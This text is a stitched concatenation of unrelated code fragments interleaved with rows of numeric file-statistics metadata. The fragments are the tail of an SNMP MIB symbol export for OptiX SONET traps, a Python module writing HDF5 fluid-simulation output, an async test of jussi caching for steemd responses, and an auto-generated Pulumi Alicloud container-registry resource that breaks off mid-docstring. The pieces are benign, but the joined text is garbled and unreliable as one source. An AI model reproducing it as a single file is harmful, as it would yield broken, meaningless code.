almInterfaceCardFail=almInterfaceCardFail, almManualSwitchOfSpan=almManualSwitchOfSpan, evtApsChannelMismatchFailure=evtApsChannelMismatchFailure, almSquelchModeMismatch=almSquelchModeMismatch, optixSonetTrapsConformance=optixSonetTrapsConformance, almRmvToMt=almRmvToMt, evtWavelengthLockFail=evtWavelengthLockFail, almLCCHigh=almLCCHigh, almLoopbackFacilityPath=almLoopbackFacilityPath, evtLaserNotExist=evtLaserNotExist, almInconsistentApsCodes=almInconsistentApsCodes, evtFreeRunSync=evtFreeRunSync, evtBlsrSDofSpan=evtBlsrSDofSpan, almLaserApdBiasVoltageLow=almLaserApdBiasVoltageLow) mibBuilder.exportSymbols("OPTIX-SONET-TRAPS-MIB", evtDataLost=evtDataLost, almSpanSwitch=almSpanSwitch, envFlood=envFlood, almManualSetSSM=almManualSetSSM, almAdditionOfSingleWavelengthSignal=almAdditionOfSingleWavelengthSignal, pmESLine=pmESLine, almSyncChangeSSM=almSyncChangeSSM, evtSwdlNePackageCheck=evtSwdlNePackageCheck, almSignalFailureVT=almSignalFailureVT, almPortOffline=almPortOffline, evtBlsrSDofRing=evtBlsrSDofRing, almLOA=almLOA, envCoolingFacFailure=envCoolingFacFailure, pmLbcMax=pmLbcMax, almGfpCsf=almGfpCsf, almLockoutOfTheProtocol=almLockoutOfTheProtocol, almOutPowerHigh=almOutPowerHigh, evtODUAlarmIndicationSignal=evtODUAlarmIndicationSignal, evtApsModeMismatch=evtApsModeMismatch, evtBlsrSFofRing=evtBlsrSFofRing, evtLoopbackDS3FEAC=evtLoopbackDS3FEAC, evtApsTypeMismatch=evtApsTypeMismatch, almRstFromMt=almRstFromMt, pmSESLine=pmSESLine, evtTcaSESCPPath=evtTcaSESCPPath, evtLcasFopt=evtLcasFopt, rptEvtVldty=rptEvtVldty, pmCVVT=pmCVVT, almSwitchProtectionToWorkingUnit=almSwitchProtectionToWorkingUnit, evtOOF=evtOOF, envRectifierFailure=envRectifierFailure, almODULockedIndicationSignal=almODULockedIndicationSignal, almOamFail=almOamFail, almGFPLossOfFrame=almGFPLossOfFrame, almAIC=almAIC, evtLOF=evtLOF, almPmBDI=almPmBDI, almTcaSESCPPath=almTcaSESCPPath, almOamRemoteSF=almOamRemoteSF, almSignalFailurePath=almSignalFailurePath, almExerciseSwitchFail=almExerciseSwitchFail, almTcaCVPPath=almTcaCVPPath, almFanMea=almFanMea, rptEvtDateTime=rptEvtDateTime, evtSquelchModeMismatch=evtSquelchModeMismatch, almSwitchFail=almSwitchFail, evtFanMea=evtFanMea, almBlsrSDofRing=almBlsrSDofRing, evtRingSwitch=evtRingSwitch, envCPMINOR=envCPMINOR, evtFastStartSync=evtFastStartSync, almSwtichWokingToProtectingUnit=almSwtichWokingToProtectingUnit, almCardConfigurationFail=almCardConfigurationFail, almExcessiveErrorDefectBeforeFEC=almExcessiveErrorDefectBeforeFEC, rptEvtPeriod=rptEvtPeriod, rptEvtDirection=rptEvtDirection, almLockoutWorkingRing=almLockoutWorkingRing, evtMultiFanFail=evtMultiFanFail, almFarEndProtectionLineFailure=almFarEndProtectionLineFailure, evtRAI=evtRAI, evtOutOpticalPowerLow=evtOutOpticalPowerLow, evtExerciseSwitchFail=evtExerciseSwitchFail, almRemoteClientSF=almRemoteClientSF, evtLoopbackFacilityPath=evtLoopbackFacilityPath, almManualSwitchOfRing=almManualSwitchOfRing, pmESCPPath=pmESCPPath, almOamRemoteLoop=almOamRemoteLoop, almPowerExceed=almPowerExceed, pmPSC=pmPSC, evtLaserDegraded=evtLaserDegraded, almTcaESSection=almTcaESSection, evtEquipmentTypeMismatch=evtEquipmentTypeMismatch, evtEnhancedRemotePalyloadFailureIndicationVT=evtEnhancedRemotePalyloadFailureIndicationVT, evtExcessiveErrorDefectBeforeFEC=evtExcessiveErrorDefectBeforeFEC, evtSignalFailureVT=evtSignalFailureVT, almPayloadLabelMisatch=almPayloadLabelMisatch, rptEvtSrvEff=rptEvtSrvEff, evtEsconCodeError=evtEsconCodeError, evtDBSyncFail=evtDBSyncFail, almTcaUASPath=almTcaUASPath, evtInputPowerLow=evtInputPowerLow, almRemoteFailureIndicationVT=almRemoteFailureIndicationVT, almTcaCVVT=almTcaCVVT, almLCASBandwidthReduced=almLCASBandwidthReduced, evtLOA=evtLOA, evtSwitchFail=evtSwitchFail, evtTcaSESSection=evtTcaSESSection, almLaserApprochingEndOfLife=almLaserApprochingEndOfLife, pmLCCMin=pmLCCMin, almHotSwitchControlUnavail=almHotSwitchControlUnavail, evtXconMismatched=evtXconMismatched, envCommercialPowerFailure=envCommercialPowerFailure, evtFanIsOpened=evtFanIsOpened, evtLomVT=evtLomVT, envToxicGas=envToxicGas, almAlarmIndicationSignalLine=almAlarmIndicationSignalLine, envBatteryFailure=envBatteryFailure, evtInterFaceCardOffline=evtInterFaceCardOffline, almSwdlNePackageCheck=almSwdlNePackageCheck, almFileLost=almFileLost, almPDIPath=almPDIPath, almTcaCVLine=almTcaCVLine, evtEquipmentOfflineOrUninstalled=evtEquipmentOfflineOrUninstalled, evtCoolingCurrentModeHigh=evtCoolingCurrentModeHigh, almTcaESVT=almTcaESVT, almODUOpenConnectionIndicationSignal=almODUOpenConnectionIndicationSignal, evtDbmsIsInProtectMode=evtDbmsIsInProtectMode, evtNeBdDataMismatch=evtNeBdDataMismatch, rptEvtDescription=rptEvtDescription, optixSonetTrapsGroups=optixSonetTrapsGroups, evtAutoSwitch=evtAutoSwitch, evtSecuAlarm=evtSecuAlarm, evtSwitchToIdle=evtSwitchToIdle, almForwardErrorCorrectionLossOfFrame=almForwardErrorCorrectionLossOfFrame, evtTcaSESLine=evtTcaSESLine, almEqptServiceAffectingFail=almEqptServiceAffectingFail, almTcaSESSection=almTcaSESSection, almLcasFopr=almLcasFopr, evtSwdlChaGmngmMismatch=evtSwdlChaGmngmMismatch, evtManualSwitchOfSpan=evtManualSwitchOfSpan, pmLbcCur=pmLbcCur, almBiasTemperatureOfPumpHigh=almBiasTemperatureOfPumpHigh, evtLockoutProtectionForAllSpans=evtLockoutProtectionForAllSpans, almCoolingCurrentModeHigh=almCoolingCurrentModeHigh, rptEvtThValue=rptEvtThValue, almOOF=almOOF, evtSwitchToPassthru=evtSwitchToPassthru, almNormalSyncMode=almNormalSyncMode, almWavelengthLockFail=almWavelengthLockFail, almDbmsCfgCorrupted=almDbmsCfgCorrupted, almExtraTrafficIsBeingSquelched=almExtraTrafficIsBeingSquelched, pmPLBCMax=pmPLBCMax, almLossOfPointerVT=almLossOfPointerVT, evtPmBEI=evtPmBEI, rptEvtPort=rptEvtPort, evtSmBEI=evtSmBEI, almInterFaceCardOffline=almInterFaceCardOffline, evtLcasFopr=evtLcasFopr, evtLockoutWorkingRing=evtLockoutWorkingRing, rptEvtLocation=rptEvtLocation, almTcaCVSection=almTcaCVSection, evtRingModeMisatch=evtRingModeMisatch, almBlsrNodeIsolate=almBlsrNodeIsolate, pmLCCMax=pmLCCMax, evtSmBipExcessive=evtSmBipExcessive, evtTcaESPath=evtTcaESPath, evtTcaUASPPath=evtTcaUASPPath, almPmBipSignalDefect=almPmBipSignalDefect, evtBitsCodeViolationOver=evtBitsCodeViolationOver, evtBiasTemperatureOfPumpHigh=evtBiasTemperatureOfPumpHigh, evtLockoutWorkingUnit=evtLockoutWorkingUnit, pmLTEMPCur=pmLTEMPCur, evtSumOutOpticalPowerHigh=evtSumOutOpticalPowerHigh, evtLaserModuleMismatch=evtLaserModuleMismatch, evtForceSwitchOfSpan=evtForceSwitchOfSpan, almSequenceNumberMismatchedVT=almSequenceNumberMismatchedVT, almPmBEI=almPmBEI, evtTimSection=evtTimSection, evtLOMPath=evtLOMPath, envIntrusion=envIntrusion, almLockoutWorkingUnit=almLockoutWorkingUnit, envPumpFailure=envPumpFailure, pmPSD=pmPSD, evtLaserTemperatureHigh=evtLaserTemperatureHigh, almOutOpticalPowerLow=almOutOpticalPowerLow, almMultiFanFail=almMultiFanFail, almForceSwitchOfRing=almForceSwitchOfRing, almSquelchTableNeedsUpdatingOrIsInvalid=almSquelchTableNeedsUpdatingOrIsInvalid, almLcasTlcr=almLcasTlcr, pmOptCur=pmOptCur, evtSoftwareVersionMismatch=evtSoftwareVersionMismatch, almFreeRunSync=almFreeRunSync, pmUASLine=pmUASLine, almLinkError=almLinkError, evtPowerExceed=evtPowerExceed, evtLOS=evtLOS, evtPrimaryChannelChange=evtPrimaryChannelChange, almTcaSESPPath=almTcaSESPPath, evtMtMode=evtMtMode, pmPLWCMin=pmPLWCMin, pmLAPDBVCur=pmLAPDBVCur, almRlsLpbk=almRlsLpbk, optixTrapsAlarm=optixTrapsAlarm, evtOTULossOfFrame=evtOTULossOfFrame, envLowBatteryVoltage=envLowBatteryVoltage, envHighAirflow=envHighAirflow, almOTUOutOfMultiFrame=almOTUOutOfMultiFrame, almSignalDegradePath=almSignalDegradePath, pmPjcsVdet=pmPjcsVdet, pmOprMin=pmOprMin, evtSyncChangeSSM=evtSyncChangeSSM, almLoopbackTerminalPath=almLoopbackTerminalPath, evtRingIDMismatch=evtRingIDMismatch, almTcaCVPath=almTcaCVPath, almPowerBFail=almPowerBFail)
401.87246
31,409
0.71848
66,667
573,472
6.180269
0.018945
0.237076
0.355577
0.426693
0.794498
0.790811
0.789168
0.789168
0.788605
0.78802
0
0.033281
0.057828
573,472
1,426
31,410
402.154278
0.729283
0.000708
0
0.002117
0
0
0.584047
0.367646
0
0
0
0
0
1
0
false
0.00494
0.005646
0
0.005646
0
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
9d98ee842140d38924f24dde7ad0b5b5d88e2e72
2,850
py
Python
lib/write_field.py
usmanianas/CollRrbc
365c3e86029cd397b2592922441a19cb9ac72040
[ "BSD-3-Clause" ]
null
null
null
lib/write_field.py
usmanianas/CollRrbc
365c3e86029cd397b2592922441a19cb9ac72040
[ "BSD-3-Clause" ]
null
null
null
lib/write_field.py
usmanianas/CollRrbc
365c3e86029cd397b2592922441a19cb9ac72040
[ "BSD-3-Clause" ]
null
null
null
from input import parameters as para from lib.glob import * import h5py as hp def writeSoln_RBC(Vx, Vy, Vz, Press, Temp, time, dtchange): if para.Target=="GPU": Vx, Vy, Vz, Press, Temp = Vx.get(), Vy.get(), Vz.get(), Press.get(), Temp.get() timewr = time if (dtchange==1 or para.restart) and para.Target=="GPU": timewr = time.get() fName = "output/Soln_" + "{0:09.5f}.h5".format(timewr) #print("#Writing solution file: ", fName) f = hp.File(fName, "w") dset = f.create_dataset("Vx", data = Vx[x0, y0, z0]) dset = f.create_dataset("Vy", data = Vy[x0, y0, z0]) dset = f.create_dataset("Vz", data = Vz[x0, y0, z0]) dset = f.create_dataset("P", data = Press[x0, y0, z0]) dset = f.create_dataset("T", data = Temp[x0, y0, z0]) f.close() def writeRestart_RBC(Vx, Vy, Vz, Press, Temp, time, dtchange): if para.Target=="GPU": Vx, Vy, Vz, Press, Temp = Vx.get(), Vy.get(), Vz.get(), Press.get(), Temp.get() timers = time if (dtchange==1 or para.restart) and para.Target=="GPU": timers = time.get() fName = "output/Restart.h5" #print("#Writing Restart file: ", fName) f = hp.File(fName, "w") dset = f.create_dataset("Vx", data = Vx[x0, y0, z0]) dset = f.create_dataset("Vy", data = Vy[x0, y0, z0]) dset = f.create_dataset("Vz", data = Vz[x0, y0, z0]) dset = f.create_dataset("P", data = Press[x0, y0, z0]) dset = f.create_dataset("T", data = Temp[x0, y0, z0]) dset = f.create_dataset("Time", data = timers) f.close() def writeSoln_Hydro(Vx, Vy, Vz, Press, time, dtchange): if para.Target=="GPU": Vx, Vy, Vz, Press = Vx.get(), Vy.get(), Vz.get(), Press.get() timewr = time if (dtchange==1 or para.restart) and para.Target=="GPU": timewr = time.get() fName = "output/Soln_" + "{0:09.5f}.h5".format(timewr) #print("#Writing solution file: ", fName) f = hp.File(fName, "w") dset = f.create_dataset("Vx", data = Vx[x0, y0, z0]) dset = f.create_dataset("Vy", data = Vy[x0, y0, z0]) dset = f.create_dataset("Vz", data = Vz[x0, y0, z0]) dset = f.create_dataset("P", data = Press[x0, y0, z0]) f.close() def writeRestart_Hydro(Vx, Vy, Vz, Press, time, dtchange): if para.Target=="GPU": Vx, Vy, Vz, Press = Vx.get(), Vy.get(), Vz.get(), Press.get() timers = time if (dtchange==1 or para.restart) and para.Target=="GPU": timers = time.get() fName = "output/Restart.h5" #print("#Writing Restart file: ", fName) f = hp.File(fName, "w") dset = f.create_dataset("Vx", data = Vx[x0, y0, z0]) dset = f.create_dataset("Vy", data = Vy[x0, y0, z0]) dset = f.create_dataset("Vz", data = Vz[x0, y0, z0]) dset = f.create_dataset("P", data = Press[x0, y0, z0]) dset = f.create_dataset("Time", data = timers) f.close()
34.337349
106
0.58807
450
2,850
3.666667
0.124444
0.060606
0.133333
0.218182
0.947879
0.947879
0.947879
0.922424
0.922424
0.922424
0
0.031839
0.217544
2,850
83
107
34.337349
0.708072
0.062456
0
0.862745
0
0
0.055702
0
0.039216
0
0
0
0
1
0.078431
false
0
0.058824
0
0.137255
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
9da7d15e4761f202027d178e1834341c135ff6da
3,895
py
Python
tests/test_cache_middleware.py
bnchdrff/jussi
79d8decde323b84cdd8331e5cbb490021ea78cee
[ "MIT" ]
null
null
null
tests/test_cache_middleware.py
bnchdrff/jussi
79d8decde323b84cdd8331e5cbb490021ea78cee
[ "MIT" ]
null
null
null
tests/test_cache_middleware.py
bnchdrff/jussi
79d8decde323b84cdd8331e5cbb490021ea78cee
[ "MIT" ]
1
2018-03-14T10:36:48.000Z
2018-03-14T10:36:48.000Z
# -*- coding: utf-8 -*- import json import pytest req = {"id": 1, "jsonrpc": "2.0", "method": "get_dynamic_global_properties"} expected_steemd_response = { "id": "1", "result": { "average_block_size": 16112, "confidential_sbd_supply": "0.000 SBD", "confidential_supply": "0.000 STEEM", "current_aslot": 19615022, "current_reserve_ratio": 1243817, "current_sbd_supply": "8016379.428 SBD", "current_supply": "263590437.017 STEEM", "current_witness": "good-karma", "head_block_id": "012a58ebf2e150d2200da72acff4c6b272915e08", "head_block_number": 19552491, "id": 0, "last_irreversible_block_num": 19552476, "max_virtual_bandwidth": "1643338184785920000", "maximum_block_size": 65536, "num_pow_witnesses": 172, "participation_count": 128, "pending_rewarded_vesting_shares": "298814345.817945 VESTS", "pending_rewarded_vesting_steem": "145258.167 STEEM", "recent_slots_filled": "340282366920938463463374607431768211455", "sbd_interest_rate": 0, "sbd_print_rate": 10000, "time": "2018-02-03T17:51:06", "total_pow": 514415, "total_reward_fund_steem": "0.000 STEEM", "total_reward_shares2": "0", "total_vesting_fund_steem": "195640068.504 STEEM", "total_vesting_shares": "400228023408.017941 VESTS", "virtual_supply": "265290623.534 STEEM", "vote_power_reserve_rate": 10 } } expected_response = { "id": 1, "jsonrpc": "2.0", "result": { "average_block_size": 16112, "confidential_sbd_supply": "0.000 SBD", "confidential_supply": "0.000 STEEM", "current_aslot": 19615022, "current_reserve_ratio": 1243817, "current_sbd_supply": "8016379.428 SBD", "current_supply": "263590437.017 STEEM", "current_witness": "good-karma", "head_block_id": "012a58ebf2e150d2200da72acff4c6b272915e08", "head_block_number": 19552491, "id": 0, "last_irreversible_block_num": 19552476, "max_virtual_bandwidth": "1643338184785920000", "maximum_block_size": 65536, "num_pow_witnesses": 172, "participation_count": 128, "pending_rewarded_vesting_shares": "298814345.817945 VESTS", "pending_rewarded_vesting_steem": "145258.167 STEEM", "recent_slots_filled": "340282366920938463463374607431768211455", "sbd_interest_rate": 0, "sbd_print_rate": 10000, "time": "2018-02-03T17:51:06", "total_pow": 514415, "total_reward_fund_steem": "0.000 STEEM", "total_reward_shares2": "0", "total_vesting_fund_steem": "195640068.504 STEEM", "total_vesting_shares": "400228023408.017941 VESTS", "virtual_supply": "265290623.534 STEEM", "vote_power_reserve_rate": 10 } } @pytest.mark.live async def test_cache_response_middleware(test_cli): response = await test_cli.post('/', json=req) assert await response.json() == expected_steemd_response response = await test_cli.post('/', json=req) assert response.headers['x-jussi-cache-hit'] == 'steemd.database_api.get_dynamic_global_properties' async def test_mocked_cache_response_middleware(mocked_app_test_cli, mocker): mocked_ws_conn, test_cli = mocked_app_test_cli mocked_ws_conn.recv.return_value = json.dumps(expected_response) response = await test_cli.post('/', json=req, headers={'x-jussi-request-id': '1'}) assert 'x-jussi-cache-hit' not in response.headers assert await response.json() == expected_response response = await test_cli.post('/', json=req, headers={'x-jussi-request-id': '1'}) assert response.headers['x-jussi-cache-hit'] == 'steemd.database_api.get_dynamic_global_properties' assert await response.json() == expected_response
38.186275
103
0.664955
442
3,895
5.522624
0.291855
0.022941
0.016387
0.032773
0.861532
0.841458
0.816059
0.816059
0.784924
0.784924
0
0.171502
0.203594
3,895
101
104
38.564356
0.615409
0.005392
0
0.781609
0
0
0.490444
0.188791
0
0
0
0
0.068966
1
0
false
0
0.022989
0
0.022989
0.022989
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9dd747d74b314932920117741f8a9e180dee303d
20,315
py
Python
sdk/python/pulumi_alicloud/cs/registry_enterprise_repo.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
42
2019-03-18T06:34:37.000Z
2022-03-24T07:08:57.000Z
sdk/python/pulumi_alicloud/cs/registry_enterprise_repo.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
152
2019-04-15T21:03:44.000Z
2022-03-29T18:00:57.000Z
sdk/python/pulumi_alicloud/cs/registry_enterprise_repo.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
3
2020-08-26T17:30:07.000Z
2021-07-05T01:37:45.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['RegistryEnterpriseRepoArgs', 'RegistryEnterpriseRepo'] @pulumi.input_type class RegistryEnterpriseRepoArgs: def __init__(__self__, *, instance_id: pulumi.Input[str], namespace: pulumi.Input[str], repo_type: pulumi.Input[str], summary: pulumi.Input[str], detail: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a RegistryEnterpriseRepo resource. :param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition instance. :param pulumi.Input[str] namespace: Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. :param pulumi.Input[str] repo_type: `PUBLIC` or `PRIVATE`, repo's visibility. :param pulumi.Input[str] summary: The repository general information. It can contain 1 to 100 characters. :param pulumi.Input[str] detail: The repository specific information. MarkDown format is supported, and the length limit is 2000. :param pulumi.Input[str] name: Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. """ pulumi.set(__self__, "instance_id", instance_id) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "repo_type", repo_type) pulumi.set(__self__, "summary", summary) if detail is not None: pulumi.set(__self__, "detail", detail) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Input[str]: """ ID of Container Registry Enterprise Edition instance. """ return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: pulumi.Input[str]): pulumi.set(self, "instance_id", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="repoType") def repo_type(self) -> pulumi.Input[str]: """ `PUBLIC` or `PRIVATE`, repo's visibility. """ return pulumi.get(self, "repo_type") @repo_type.setter def repo_type(self, value: pulumi.Input[str]): pulumi.set(self, "repo_type", value) @property @pulumi.getter def summary(self) -> pulumi.Input[str]: """ The repository general information. It can contain 1 to 100 characters. """ return pulumi.get(self, "summary") @summary.setter def summary(self, value: pulumi.Input[str]): pulumi.set(self, "summary", value) @property @pulumi.getter def detail(self) -> Optional[pulumi.Input[str]]: """ The repository specific information. MarkDown format is supported, and the length limit is 2000. """ return pulumi.get(self, "detail") @detail.setter def detail(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "detail", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class _RegistryEnterpriseRepoState: def __init__(__self__, *, detail: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, namespace: Optional[pulumi.Input[str]] = None, repo_id: Optional[pulumi.Input[str]] = None, repo_type: Optional[pulumi.Input[str]] = None, summary: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering RegistryEnterpriseRepo resources. :param pulumi.Input[str] detail: The repository specific information. MarkDown format is supported, and the length limit is 2000. :param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition instance. :param pulumi.Input[str] name: Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. :param pulumi.Input[str] namespace: Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. :param pulumi.Input[str] repo_id: The uuid of Container Registry Enterprise Edition repository. :param pulumi.Input[str] repo_type: `PUBLIC` or `PRIVATE`, repo's visibility. :param pulumi.Input[str] summary: The repository general information. It can contain 1 to 100 characters. """ if detail is not None: pulumi.set(__self__, "detail", detail) if instance_id is not None: pulumi.set(__self__, "instance_id", instance_id) if name is not None: pulumi.set(__self__, "name", name) if namespace is not None: pulumi.set(__self__, "namespace", namespace) if repo_id is not None: pulumi.set(__self__, "repo_id", repo_id) if repo_type is not None: pulumi.set(__self__, "repo_type", repo_type) if summary is not None: pulumi.set(__self__, "summary", summary) @property @pulumi.getter def detail(self) -> Optional[pulumi.Input[str]]: """ The repository specific information. MarkDown format is supported, and the length limit is 2000. """ return pulumi.get(self, "detail") @detail.setter def detail(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "detail", value) @property @pulumi.getter(name="instanceId") def instance_id(self) -> Optional[pulumi.Input[str]]: """ ID of Container Registry Enterprise Edition instance. """ return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> Optional[pulumi.Input[str]]: """ Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="repoId") def repo_id(self) -> Optional[pulumi.Input[str]]: """ The uuid of Container Registry Enterprise Edition repository. """ return pulumi.get(self, "repo_id") @repo_id.setter def repo_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "repo_id", value) @property @pulumi.getter(name="repoType") def repo_type(self) -> Optional[pulumi.Input[str]]: """ `PUBLIC` or `PRIVATE`, repo's visibility. """ return pulumi.get(self, "repo_type") @repo_type.setter def repo_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "repo_type", value) @property @pulumi.getter def summary(self) -> Optional[pulumi.Input[str]]: """ The repository general information. It can contain 1 to 100 characters. """ return pulumi.get(self, "summary") @summary.setter def summary(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "summary", value) class RegistryEnterpriseRepo(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, detail: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, namespace: Optional[pulumi.Input[str]] = None, repo_type: Optional[pulumi.Input[str]] = None, summary: Optional[pulumi.Input[str]] = None, __props__=None): """ This resource will help you to manager Container Registry Enterprise Edition repositories. For information about Container Registry Enterprise Edition repository and how to use it, see [Create a Repository](https://www.alibabacloud.com/help/doc-detail/145291.htm) > **NOTE:** Available in v1.86.0+. > **NOTE:** You need to set your registry password in Container Registry Enterprise Edition console before use this resource. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud my_namespace = alicloud.cs.RegistryEnterpriseNamespace("my-namespace", instance_id="cri-xxx", auto_create=False, default_visibility="PUBLIC") my_repo = alicloud.cs.RegistryEnterpriseRepo("my-repo", instance_id=my_namespace.instance_id, namespace=my_namespace.name, summary="this is summary of my new repo", repo_type="PUBLIC", detail="this is a public repo") ``` ## Import Container Registry Enterprise Edition repository can be imported using the `{instance_id}:{namespace}:{repository}`, e.g. ```sh $ pulumi import alicloud:cs/registryEnterpriseRepo:RegistryEnterpriseRepo default `cri-xxx:my-namespace:my-repo` ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] detail: The repository specific information. MarkDown format is supported, and the length limit is 2000. :param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition instance. :param pulumi.Input[str] name: Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. :param pulumi.Input[str] namespace: Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. :param pulumi.Input[str] repo_type: `PUBLIC` or `PRIVATE`, repo's visibility. :param pulumi.Input[str] summary: The repository general information. It can contain 1 to 100 characters. """ ... @overload def __init__(__self__, resource_name: str, args: RegistryEnterpriseRepoArgs, opts: Optional[pulumi.ResourceOptions] = None): """ This resource will help you to manager Container Registry Enterprise Edition repositories. For information about Container Registry Enterprise Edition repository and how to use it, see [Create a Repository](https://www.alibabacloud.com/help/doc-detail/145291.htm) > **NOTE:** Available in v1.86.0+. > **NOTE:** You need to set your registry password in Container Registry Enterprise Edition console before use this resource. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud my_namespace = alicloud.cs.RegistryEnterpriseNamespace("my-namespace", instance_id="cri-xxx", auto_create=False, default_visibility="PUBLIC") my_repo = alicloud.cs.RegistryEnterpriseRepo("my-repo", instance_id=my_namespace.instance_id, namespace=my_namespace.name, summary="this is summary of my new repo", repo_type="PUBLIC", detail="this is a public repo") ``` ## Import Container Registry Enterprise Edition repository can be imported using the `{instance_id}:{namespace}:{repository}`, e.g. ```sh $ pulumi import alicloud:cs/registryEnterpriseRepo:RegistryEnterpriseRepo default `cri-xxx:my-namespace:my-repo` ``` :param str resource_name: The name of the resource. :param RegistryEnterpriseRepoArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(RegistryEnterpriseRepoArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, detail: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, namespace: Optional[pulumi.Input[str]] = None, repo_type: Optional[pulumi.Input[str]] = None, summary: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = RegistryEnterpriseRepoArgs.__new__(RegistryEnterpriseRepoArgs) __props__.__dict__["detail"] = detail if instance_id is None and not opts.urn: raise TypeError("Missing required property 'instance_id'") __props__.__dict__["instance_id"] = instance_id __props__.__dict__["name"] = name if namespace is None and not opts.urn: raise TypeError("Missing required property 'namespace'") __props__.__dict__["namespace"] = namespace if repo_type is None and not opts.urn: raise TypeError("Missing required property 'repo_type'") __props__.__dict__["repo_type"] = repo_type if summary is None and not opts.urn: raise TypeError("Missing required property 'summary'") __props__.__dict__["summary"] = summary __props__.__dict__["repo_id"] = None super(RegistryEnterpriseRepo, __self__).__init__( 'alicloud:cs/registryEnterpriseRepo:RegistryEnterpriseRepo', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, detail: Optional[pulumi.Input[str]] = None, instance_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, namespace: Optional[pulumi.Input[str]] = None, repo_id: Optional[pulumi.Input[str]] = None, repo_type: Optional[pulumi.Input[str]] = None, summary: Optional[pulumi.Input[str]] = None) -> 'RegistryEnterpriseRepo': """ Get an existing RegistryEnterpriseRepo resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param 